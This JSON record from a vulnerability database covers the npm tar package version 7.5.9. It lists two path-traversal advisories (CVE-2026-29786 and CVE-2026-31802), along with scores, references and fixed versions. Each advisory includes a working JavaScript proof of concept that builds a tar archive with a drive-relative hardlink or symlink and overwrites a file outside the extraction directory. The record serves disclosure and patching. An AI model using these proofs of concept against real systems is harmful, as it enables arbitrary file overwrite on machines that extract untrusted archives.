{"url":"http://public2.vulnerablecode.io/api/packages/147487?format=json","purl":"pkg:npm/tar@7.5.9","type":"npm","namespace":"","name":"tar","version":"7.5.9","qualifiers":{},"subpath":"","is_vulnerable":true,"next_non_vulnerable_version":"7.5.11","latest_non_vulnerable_version":"7.5.11","affected_by_vulnerabilities":[{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/24908?format=json","vulnerability_id":"VCID-bj4b-gq5e-2kfy","summary":"tar has Hardlink Path Traversal via Drive-Relative Linkpath\n### Summary\n`tar` (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as `C:../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction.\n\n### Details\nThe extraction logic in `Unpack[STRIPABSOLUTEPATH]` checks for `..` segments *before* stripping absolute roots.\n\nWhat happens with `linkpath: \"C:../target.txt\"`:\n1. Split on `/` gives `['C:..', 'target.txt']`, so `parts.includes('..')` is false.\n2. `stripAbsolutePath()` removes `C:` and rewrites the value to `../target.txt`.\n3. Hardlink creation resolves this against extraction `cwd` and escapes one directory up.\n4. Writing through the extracted hardlink overwrites the outside file.\n\nThis is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives.\n\n### PoC\nTested on Arch Linux with `tar@7.5.9`.\n\nPoC script (`poc.cjs`):\n\n```js\nconst fs = require('fs')\nconst path = require('path')\nconst { Header, x } = require('tar')\n\nconst cwd = process.cwd()\nconst target = path.resolve(cwd, '..', 'target.txt')\nconst tarFile = path.join(process.cwd(), 'poc.tar')\n\nfs.writeFileSync(target, 'ORIGINAL\\n')\n\nconst b = Buffer.alloc(1536)\nnew Header({ path: 'l', type: 'Link', linkpath: 'C:../target.txt' }).encode(b, 0)\nfs.writeFileSync(tarFile, b)\n\nx({ cwd, file: tarFile }).then(() => {\n  fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\\n')\n  process.stdout.write(fs.readFileSync(target, 'utf8'))\n})\n```\n\nRun:\n\n```bash\ncd test-workspace\nnode poc.cjs && ls -l ../target.txt\n```\n\nObserved output:\n\n```text\nPWNED\n-rw-r--r-- 2 joshuavr joshuavr 6 Mar  4 19:25 ../target.txt\n```\n\n`PWNED` confirms outside file content overwrite. Link count `2` confirms the extracted file and `../target.txt` are hardlinked.\n\n### Impact\nThis is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.\n\nRealistic scenarios:\n- CLI tools unpacking untrusted tarballs into a working directory\n- build/update pipelines consuming third-party archives\n- services that import user-supplied tar files","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-29786.json","reference_id":"","reference_type":"","scores":[{"value":"8.6","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-29786.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-29786","reference_id":"","reference_type":"","scores":[{"value":"5e-05","scoring_system":"epss","scoring_elements":"0.00243","published_at":"2026-04-07T12:55:00Z"},{"value":"5e-05","scoring_system":"epss","scoring_elements":"0.00276","published_at":"2026-04-09T12:55:00Z"},{"value":"5e-05","scoring_system":"epss","scoring_elements":"0.00245","published_at":"2026-04-02T12:55:00Z"},{"value":"5e-05","scoring_system":"epss","scoring_elements":"0.00277","published_at":"2026-04-08T12:55:00Z"},{"value":"5e-05","scoring_system":"epss","scoring_elements":"0.00246","published_at":"2026-04-04T12:55:00Z"},{"value":"5e-05","scoring_system":"epss","scoring_elements":"0.00269","published_at":"2026-04-16T12:55:00Z"},{"value":"5e-05","scoring_system":"epss","scoring_elements":"0.00271","published_at":"2026-04-13T12:55:00Z"},{"value":"5e-05","scoring_system":"epss","scoring_elements":"0.00272","published_at":"2026-04-12T12:55:00Z"},{"value":"5e-05","scoring_system":"epss","scoring_elements":"0.00275","published_at":"2026-04-11T12:55:00Z"},{"value":"7e-05","scoring_system":"epss","scoring_elements":"0.00624","published_at":"2026-04-24T12:55:00Z"},{"value":"7e-05","scoring_system":"epss","scoring_elements":"0.00627","published_at":"2026-04-29T12:55:00Z"},{"value":"7e-05","scoring_system":"epss","scoring_elements":"0.00586","published_at":"2026-04-18T12:55:00Z"},{"value":"7e-05","scoring_system":"epss","scoring_elements":"0.00626","published_at":"2026-04-26T12:55:00Z"},{"value":"8e-05","scoring_system":"epss","scoring_elements":"0.0071","published_at":"2026-05-09T12:55:00Z"},{"value":"8e-05","scoring_system":"epss","scoring_elements":"0.00721","published_at":"2026-05-05T12:55:00Z"},{"value":"8e-05","scoring_system":"epss","scoring_elements":"0.00715","published_at":"2026-05-07T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-29786"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-29786","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-29786"},{"reference_url":"https://github.com/isaacs/node-tar","reference_id":"","reference_type":"","scores":[{"value":"8.2","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/isaacs/node-tar"},{"reference_url":"https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f","reference_id":"","reference_type":"","scores":[{"value":"8.2","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-03-09T17:52:29Z/"}],"url":"https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f"},{"reference_url":"https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96","reference_id":"","reference_type":"","scores":[{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"8.2","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-03-09T17:52:29Z/"}],"url":"https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-29786","reference_id":"","reference_type":"","scores":[{"value":"8.2","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-29786"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2445476","reference_id":"2445476","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2445476"},{"reference_url":"https://github.com/advisories/GHSA-qffp-2rhf-9h96","reference_id":"GHSA-qffp-2rhf-9h96","reference_type":"","scores":[{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-qffp-2rhf-9h96"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/68098?format=json","purl":"pkg:npm/tar@7.5.10","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-qunt-xms1-a3cc"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/tar@7.5.10"}],"aliases":["CVE-2026-29786","GHSA-qffp-2rhf-9h96"],"risk_score":4.0,"exploitability":"0.5","weighted_severity":"8.0","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-bj4b-gq5e-2kfy"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/24011?format=json","vulnerability_id":"VCID-qunt-xms1-a3cc","summary":"node-tar Symlink Path Traversal via Drive-Relative Linkpath\n### Summary\n`tar` (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as `C:../../../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction.\n\n### Details\nThe extraction logic in `Unpack[STRIPABSOLUTEPATH]` validates `..` segments against a resolved path that still uses the original drive-relative value, and only afterwards rewrites the stored `linkpath` to the stripped value.\n\nWhat happens with `linkpath: \"C:../../../target.txt\"`:\n1. `stripAbsolutePath()` removes `C:` and rewrites the value to `../../../target.txt`.\n2. The escape check resolves using the original pre-stripped value, so it is treated as in-bounds and accepted.\n3. Symlink creation uses the rewritten value (`../../../target.txt`) from nested path `a/b/l`.\n4. Writing through the extracted symlink overwrites the outside file (`../target.txt`).\n\nThis is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives.\n\n### PoC\nTested on Arch Linux with `tar@7.5.10`.\n\nPoC script (`poc.cjs`):\n\n```js\nconst fs = require('fs')\nconst path = require('path')\nconst { Header, x } = require('tar')\n\nconst cwd = process.cwd()\nconst target = path.resolve(cwd, '..', 'target.txt')\nconst tarFile = path.join(cwd, 'poc.tar')\n\nfs.writeFileSync(target, 'ORIGINAL\\n')\n\nconst b = Buffer.alloc(1536)\nnew Header({\n  path: 'a/b/l',\n  type: 'SymbolicLink',\n  linkpath: 'C:../../../target.txt',\n}).encode(b, 0)\nfs.writeFileSync(tarFile, b)\n\nx({ cwd, file: tarFile }).then(() => {\n  fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\n  process.stdout.write(fs.readFileSync(target, 'utf8'))\n})\n```\n\nRun:\n\n```bash\nnode poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt\n```\n\nObserved output:\n\n```text\nPWNED\n../../../target.txt\nlrwxrwxrwx - joshuavr  7 Mar 18:37 󰡯 a/b/l -> ../../../target.txt\n.rw-r--r-- 6 joshuavr  7 Mar 18:37  ../target.txt\n```\n\n`PWNED` confirms outside file content overwrite. `readlink` and `ls -l` confirm the extracted symlink points outside the extraction directory.\n\n### Impact\nThis is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.\n\nRealistic scenarios:\n- CLI tools unpacking untrusted tarballs into a working directory\n- build/update pipelines consuming third-party archives\n- services that import user-supplied tar files","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-31802.json","reference_id":"","reference_type":"","scores":[{"value":"6.2","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-31802.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-31802","reference_id":"","reference_type":"","scores":[{"value":"7e-05","scoring_system":"epss","scoring_elements":"0.00467","published_at":"2026-04-09T12:55:00Z"},{"value":"7e-05","scoring_system":"epss","scoring_elements":"0.0047","published_at":"2026-04-08T12:55:00Z"},{"value":"7e-05","scoring_system":"epss","scoring_elements":"0.00472","published_at":"2026-04-07T12:55:00Z"},{"value":"7e-05","scoring_system":"epss","scoring_elements":"0.00477","published_at":"2026-04-04T12:55:00Z"},{"value":"7e-05","scoring_system":"epss","scoring_elements":"0.00481","published_at":"2026-04-02T12:55:00Z"},{"value":"8e-05","scoring_system":"epss","scoring_elements":"0.00774","published_at":"2026-05-09T12:55:00Z"},{"value":"8e-05","scoring_system":"epss","scoring_elements":"0.00671","published_at":"2026-04-11T12:55:00Z"},{"value":"8e-05","scoring_system":"epss","scoring_elements":"0.00664","published_at":"2026-04-12T12:55:00Z"},{"value":"8e-05","scoring_system":"epss","scoring_elements":"0.00665","published_at":"2026-04-13T12:55:00Z"},{"value":"8e-05","scoring_system":"epss","scoring_elements":"0.00658","published_at":"2026-04-16T12:55:00Z"},{"value":"8e-05","scoring_system":"epss","scoring_elements":"0.00663","published_at":"2026-04-18T12:55:00Z"},{"value":"8e-05","scoring_system":"epss","scoring_elements":"0.00705","published_at":"2026-04-24T12:55:00Z"},{"value":"8e-05","scoring_system":"epss","scoring_elements":"0.00707","published_at":"2026-04-26T12:55:00Z"},{"value":"8e-05","scoring_system":"epss","scoring_elements":"0.00706","published_at":"2026-04-29T12:55:00Z"},{"value":"8e-05","scoring_system":"epss","scoring_elements":"0.00784","published_at":"2026-05-05T12:55:00Z"},{"value":"8e-05","scoring_system":"epss","scoring_elements":"0.0078","published_at":"2026-05-07T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-31802"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31802","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31802"},{"reference_url":"https://github.com/isaacs/node-tar","reference_id":"","reference_type":"","scores":[{"value":"8.2","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/isaacs/node-tar"},{"reference_url":"https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad","reference_id":"","reference_type":"","scores":[{"value":"8.2","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-03-10T14:56:31Z/"}],"url":"https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad"},{"reference_url":"https://github.com/isaacs/node-tar/security/advisories/GHSA-9ppj-qmqm-q256","reference_id":"","reference_type":"","scores":[{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"8.2","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-03-10T14:56:31Z/"}],"url":"https://github.com/isaacs/node-tar/security/advisories/GHSA-9ppj-qmqm-q256"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-31802","reference_id":"","reference_type":"","scores":[{"value":"8.2","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-31802"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2445881","reference_id":"2445881","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2445881"},{"reference_url":"https://github.com/advisories/GHSA-9ppj-qmqm-q256","reference_id":"GHSA-9ppj-qmqm-q256","reference_type":"","scores":[{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-9ppj-qmqm-q256"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/67069?format=json","purl":"pkg:npm/tar@7.5.11","is_vulnerable":false,"affected_by_vulnerabilities":[],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/tar@7.5.11"}],"aliases":["CVE-2026-31802","GHSA-9ppj-qmqm-q256"],"risk_score":4.0,"exploitability":"0.5","weighted_severity":"8.0","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-qunt-xms1-a3cc"}],"fixing_vulnerabilities":[],"risk_score":"4.0","resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/tar@7.5.9"}